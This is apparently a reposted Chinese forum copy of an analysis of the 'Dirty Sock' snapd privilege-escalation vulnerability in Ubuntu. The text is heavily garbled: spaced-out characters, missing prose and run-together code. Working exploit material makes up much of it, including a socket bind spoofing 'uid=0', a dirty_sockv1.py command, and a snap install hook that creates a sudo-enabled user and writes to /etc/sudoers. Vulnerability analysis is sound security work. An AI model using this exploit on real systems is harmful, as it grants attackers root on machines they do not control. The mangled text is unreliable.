[13821] 2019-03-03_UbuntuLinux中的特权提升漏洞DirtySock分析(含PoC)

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2019-03-03_UbuntuLinux中的特权提升漏洞DirtySock分析(含PoC) U b u n t u   L i n u x D i r t y   S o c k P o C C o v f e f e   F r e e B u f   2 0 1 9 - 0 3 - 0 3 2 0 1 9 1 s n a p d   A P I b u g U b u n t u   L i n u x r o o t d i r t y _ s o c k e x p l o i t d i r t y _ s o c k v 1 U b u n t u   S S O 使 c r e a t e - u s e r   A P I d i r t y _ s o c k v 2 s n a p i n s t a l l   h o o k U b u n t u 1 8 . 1 0 s n a p d s n a p d U N I X _ A F   s o c k e t R E S T   A P I s o c k e t U I D A P I 访 f o r s o c k e t U I D 访 A P I 访 A P I r o o t e x p l o i t s n a p L i n u x U b u n t u   L i n u x C a n o n i c a l 广 S n a p W i n d o w s s n a p S n a p s n a p 线 s n a p d U b u n t u r o o t S n a p d U b u n t u S n a p p y   U b u n t u   C o r e L i n u x s n a p d / l i b / s y s t e m d / s y s t e m / s n a p d . s e r v i c e u n i t s y s t e m d   s o c k e t   u n i t / l i b / s y s t e m d / s y s t e m / s n a p d . s o c k e t L i n u x A F U N I X s o c k e t A F I N E T A F _ I N E T 6 s o c k e t [ U n i t ] D e s c r i p t i o n = S n a p p y   d a e m o n R e q u i r e s = s n a p d . s o c k e t [ S o c k e t ] L i s t e n S t r e a m = / r u n / s n a p d . s o c k e t L i s t e n S t r e a m = / r u n / s n a p d - s n a p . s o c k e t S o c k e t M o d e = 0 6 6 6
s o c k e t ' 0 6 6 6 ' s o c k e t s o c k e t L i n u x n c B S D A F _ U N I X   s o c k e t r o o t H T T P   -   广 H T T P u p t u x R E S T   A P I A P I P O S T / v 2 / c r e a t e - u s e r r o o t 访 A P I r o o t g o l a n g A F _ U N I X   s o c k e t L i n u x m a n   u n i x 访 A P I 使 d e l v e g o l a n g n c 使 d e l v e p r i n t u c r e d u i d 1 0 0 0 访 A P I $   l s   - a s l h   / r u n / s n a p d * 0   s r w - r w - r w -   1   r o o t   r o o t     0   J a n   2 5   0 3 : 4 2   / r u n / s n a p d - s n a p . s o c k e t 0   s r w - r w - r w -   1   r o o t   r o o t     0   J a n   2 5   0 3 : 4 2   / r u n / s n a p d . s o c k e t $   n c   - U   / r u n / s n a p d . s o c k e t H T T P / 1 . 1   4 0 0   B a d   R e q u e s t C o n t e n t - T y p e :   t e x t / p l a i n ;   c h a r s e t = u t f - 8 C o n n e c t i o n :   c l o s e 4 0 0   B a d   R e q u e s t u c r e d ,   e r r   : =   g e t U c r e d ( i n t ( f . F d ( ) ) ,   s y s . S O L _ S O C K E T ,   s y s . S O _ P E E R C R E D ) >   g i t h u b . c o m / s n a p c o r e / s n a p d / d a e m o n . ( * u c r e d n e t L i s t e n e r ) . A c c e p t ( ) . . .       1 0 9 :   u c r e d ,   e r r   : =   g e t U c r e d ( i n t ( f . F d ( ) ) ,   s y s . S O L _ S O C K E T ,   s y s . S O _ P E E R C R E D ) = >   1 1 0 :   i f   e r r   ! =   n i l   { . . . ( d l v )   p r i n t   u c r e d * s y s c a l l . U c r e d   { P i d :   5 3 8 8 ,   U i d :   1 0 0 0 ,   G i d :   1 0 0 0 } f u n c   ( w c   * u c r e d n e t C o n n )   R e m o t e A d d r ( )   n e t . A d d r   { r e t u r n   & u c r e d n e t A d d r { w c . C o n n . R e m o t e A d d r ( ) ,   w c . p i d ,   w c . u i d ,   w c . s o c k e t } } f u n c   ( w a   * u c r e d n e t A d d r )   S t r i n g ( )   s t r i n g   {         r e t u r n   f m t . S p r i n t f ( " p i d = % s ; u i d = % s ; s o c k e t = % s ; % s " ,   w a . p i d ,   w a . u i d ,   w a . s o c k e t ,   w a . A d d r ) }
; u i d   = u i d   = . . . d e l v e r e m o t e A d d r H T T P   G E T n c u i d   = 1 0 0 0 ; u i d = ) u i d   = s o c k e t = / r u n / s n a p d . s o c k e t s o c k e t s n a p d 使 s o c k e t @   r e m o t e A d d r g o l a n g n e t . g o l a d d r r a d d r @ m a n   u n i x s o c k e t s o c k e t n u l l - b y t e @ s o c k e t n e t c a t r a d d r 使 p y t h o n ; u i d = 0 ; s o c k e t s n a p d   A P I f u n c   u c r e d n e t G e t ( r e m o t e A d d r   s t r i n g )   ( p i d   u i n t 3 2 ,   u i d   u i n t 3 2 ,   s o c k e t   s t r i n g ,   e r r   e r r o r )   { . . . f o r   _ ,   t o k e n   : =   r a n g e   s t r i n g s . S p l i t ( r e m o t e A d d r ,   " ; " )   { v a r   v   u i n t 6 4 . . . }   e l s e   i f   s t r i n g s . H a s P r e f i x ( t o k e n ,   " u i d = " )   { i f   v ,   e r r   =   s t r c o n v . P a r s e U i n t ( t o k e n [ 4 : ] ,   1 0 ,   3 2 ) ;   e r r   = =   n i l   { u i d   =   u i n t 3 2 ( v ) }   e l s e   { b r e a k } $   n c   - U   / r u n / s n a p d . s o c k e t G E T   /   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 g i t h u b . c o m / s n a p c o r e / s n a p d / d a e m o n . u c r e d n e t G e t ( ) . . . = >     4 1 :   f o r   _ ,   t o k e n   : =   r a n g e   s t r i n g s . S p l i t ( r e m o t e A d d r ,   " ; " )   { . . . ( d l v )   p r i n t   r e m o t e A d d r " p i d = 5 1 2 7 ; u i d = 1 0 0 0 ; s o c k e t = / r u n / s n a p d . s o c k e t ; @ " >   n e t . ( * c o n n ) . L o c a l A d d r ( )   / u s r / l i b / g o - 1 . 1 0 / s r c / n e t / n e t . g o : 2 1 0   ( P C :   0 x 7 7 f 6 5 f ) . . . = >   2 1 0 :   f u n c   ( c   * c o n n )   L o c a l A d d r ( )   A d d r   { . . . ( d l v )   p r i n t   c . f d . . . l a d d r :   n e t . A d d r ( * n e t . U n i x A d d r )   * { N a m e :   " / r u n / s n a p d . s o c k e t " , N e t :   " u n i x " , } , r a d d r :   n e t . A d d r ( * n e t . U n i x A d d r )   * { N a m e :   " @ " ,   N e t :   " u n i x " } , }
P o C r e m o t e A d d r u i d   0 r o o t u i d 访 A P I u i d 0 使 使 d i r t y _ s o c k v 1 P O S T / v 2 / c r e a t e - u s e r A P I U b u n t u   S S O S S H 使 使 S S H r o o t   S S H d i r t y _ s o c k v 2 使 P O S T / v 2 / s n a p s   A P I s n a p s n a p b a s h S S H U b u n t u s n a p s n a p d 使 s n a p d e v m o d e s n a p s n a p 访 s n a p h o o k s i n s t a l l   h o o k s n a p i n s t a l l   h o o k s h e l l s n a p d e v m o d e h o o k r o o t s n a p s n a p b a s h # #   p a y l o a d s o c k e t s o c k f i l e   =   " / t m p / s o c k ; u i d = 0 ; " # #   s o c k e t c l i e n t _ s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ U N I X ,   s o c k e t . S O C K _ S T R E A M ) c l i e n t _ s o c k . b i n d ( s o c k f i l e ) # #   s n a p c l i e n t _ s o c k . c o n n e c t ( ' / r u n / s n a p d . s o c k e t ' ) >   g i t h u b . c o m / s n a p c o r e / s n a p d / d a e m o n . u c r e d n e t G e t ( ) . . . = >     4 1 :   f o r   _ ,   t o k e n   : =   r a n g e   s t r i n g s . S p l i t ( r e m o t e A d d r ,   " ; " )   { . . . ( d l v )   p r i n t   r e m o t e A d d r " p i d = 5 2 7 5 ; u i d = 1 0 0 0 ; s o c k e t = / r u n / s n a p d . s o c k e t ; / t m p / s o c k ; u i d = 0 ; " >   g i t h u b . c o m / s n a p c o r e / s n a p d / d a e m o n . u c r e d n e t G e t ( ) . . . = >     6 5 :   r e t u r n   p i d ,   u i d ,   s o c k e t ,   e r r . . . ( d l v )   p r i n t   u i d 0 $   d i r t y _ s o c k v 1 . p y   - u   @ . c o m   - k   i d _ r s a
使 P y t h o n   c r y p t . c r y p t ( ) d i r t y _ s o c k s n a p b a s e 6 4 便 p y t h o n s n a p b a s h b a s e 6 4 b a s e 6 4 d i r t y s o c k . p y T R O J A N S N A P p y t h o n 1 . " ; u i d = 0 ; " 2 . s o c k e t 3 . s n a p   A P I 4 . s n a p 5 . i n s t a l l   h o o k s n a p 6 . s n a p 7 . s o c k e t 8 . u s e r a d d   d i r t y _ s o c k   - m   - p   ' $ 6 $ s W Z c W 1 t 2 5 p f U d B u X $ j W j E Z Q F 2 z F S f y G y 9 L b v G 3 v F z z H R j X f B Y K 0 S O G f M D 1 s L y a S 9 7 A w n J U s 7 g D C Y . f g 1 9 N s 3 J w R d D h O c E m D p B V l F 9 m . '   - s   / b i n / b a s h u s e r m o d   - a G   s u d o   d i r t y _ s o c k e c h o   " d i r t y _ s o c k         A L L = ( A L L : A L L )   A L L "   > >   / e t c / s u d o e r s # #   s u d o   a p t   i n s t a l l   s n a p c r a f t   - y # #   c d   / t m p m k d i r   d i r t y _ s n a p c d   d i r t y _ s n a p # #   s n a p s n a p c r a f t   i n i t # #   h o o k m k d i r   s n a p / h o o k s t o u c h   s n a p / h o o k s / i n s t a l l c h m o d   a + x   s n a p / h o o k s / i n s t a l l # #   r o o t c a t   >   s n a p / h o o k s / i n s t a l l   < <   " E O F " # ! / b i n / b a s h u s e r a d d   d i r t y _ s o c k   - m   - p   ' $ 6 $ s W Z c W 1 t 2 5 p f U d B u X $ j W j E Z Q F 2 z F S f y G y 9 L b v G 3 v F z z H R j X f B Y K 0 S O G f M D 1 s L y a S 9 7 A w n J U s 7 g D C Y . f g 1 9 N s 3 J w R d D h O c E m D p B V l F 9 m . '   - s   / b i n / b a s h u s e r m o d   - a G   s u d o   d i r t y _ s o c k e c h o   " d i r t y _ s o c k         A L L = ( A L L : A L L )   A L L "   > >   / e t c / s u d o e r s E O F # #   s n a p   y a m l c a t   >   s n a p / s n a p c r a f t . y a m l   < <   " E O F " n a m e :   d i r t y - s o c k v e r s i o n :   ' 0 . 1 '   s u m m a r y :   E m p t y   s n a p ,   u s e d   f o r   e x p l o i t d e s c r i p t i o n :   |         S e e   h t t p s : / / g i t h u b . c o m / i n i t s t r i n g / d i r t y _ s o c k g r a d e :   d e v e l c o n f i n e m e n t :   d e v m o d e p a r t s :     m y - p a r t :         p l u g i n :   n i l E O F # #   s n a p s n a p c r a f t $   b a s e 6 4   < s n a p - f i l e n a m e . s n a p >
s n a p d * s h e n a n i g a n s l a b s t h e h a c k e r n e w s F B C o v f e f e F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则